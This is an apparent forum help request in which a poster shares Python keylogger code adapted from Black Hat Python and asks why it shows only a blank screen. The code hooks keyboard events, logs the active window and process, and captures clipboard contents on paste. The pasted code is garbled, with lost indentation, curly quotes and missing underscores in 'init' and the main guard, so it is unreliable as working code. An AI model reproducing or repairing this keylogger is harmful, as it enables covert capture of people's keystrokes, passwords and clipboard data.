Hi Guys. I have a project where I am to create a keylogger program using python. The code has no errors but it just gives a blank screen. I referred this project from GitHub and the book called Black Hat Python but I am still unable to get it correctly

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import os
import pythoncom
import keyboard
import sys
import time
import win32clipboard
from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO

TIMEOUT = 60*10

class Keylogger:
def init(self):
self.current_window = None

def get_current_process(self):
    hwnd = windll.user32.GetForegroundWindow()
    pid = c_ulong(0)
    windll.user32.GetWindowThreadProcessId(hwnd,byref(pid))
    process_id = f'{pid.value}'

    executable = create_string_buffer(512)
    h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
    windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
    window_title = create_string_buffer(512)
    windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
    try:
        self.current_window = window_title.value.decode()
    except UnicodeDecodeError as e:
        print(f'{e}: window name unknown')
    print('\n', process_id, executable.value.decode(), self.current_window)
    windll.kernel32.CloseHandle(hwnd)
    windll.kernel32.CloseHandle(h_process)

#-----------------------------------------------------------------------------------------------------------
def mykeystroke(self,event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end=’ ‘)
else:
if event.key == ‘V’:
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f’[PASTE] - {value}’)
else:
print(f’{event.key}’)
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = Keylogger()
hm = keyboard.HookManager()
hm.KeyDown = kl.mykeystroke
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if name==‘main’:
print(run())
print(‘done.’)

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